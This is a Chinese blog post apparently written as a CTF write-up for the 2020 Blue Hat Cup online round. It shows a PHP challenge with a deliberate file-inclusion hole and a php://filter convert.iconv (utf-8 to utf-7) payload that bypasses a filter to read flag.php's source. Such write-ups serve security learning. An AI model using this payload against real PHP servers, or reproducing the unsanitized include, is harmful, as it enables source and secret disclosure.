

# [蓝帽杯2020第四届 线上赛]文件包含绕过

原创

浩歌已行 于 2020-08-08 09:05:46 发布 518 收藏 2

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：[https://blog.csdn.net/qq\\_43801002/article/details/107874565](https://blog.csdn.net/qq_43801002/article/details/107874565)

版权

题目

```
<?php
highlight_file(__FILE__);
include("../check.php");
if(isset($_GET['filename'])){
    $filename = $_GET['filename'];
    include($filename);
}
?>
```

## 过程

#####阴间做题

纯脑洞题，就看谁能搜的到。

1.文件包含，php伪协议

2.需要读php文件，以前觉得：后端语言没法直接显示到前端，必须用base64转码

是我浅薄了

Example #3 convert.iconv.\*

```
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "This is a test.n");
fclose($fp);
/* Outputs: This is a test. */
?>
```

支持的字符编码有以下几种（详细参考[官方手册](#)）

```
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
```

使用utf-7!!!!

payload: `?filename=php://filter/convert.iconv.utf-8.utf-7/resource=./flag.php`

详情参考:

<https://www.cnblogs.com/linuxsec/articles/12684259.html>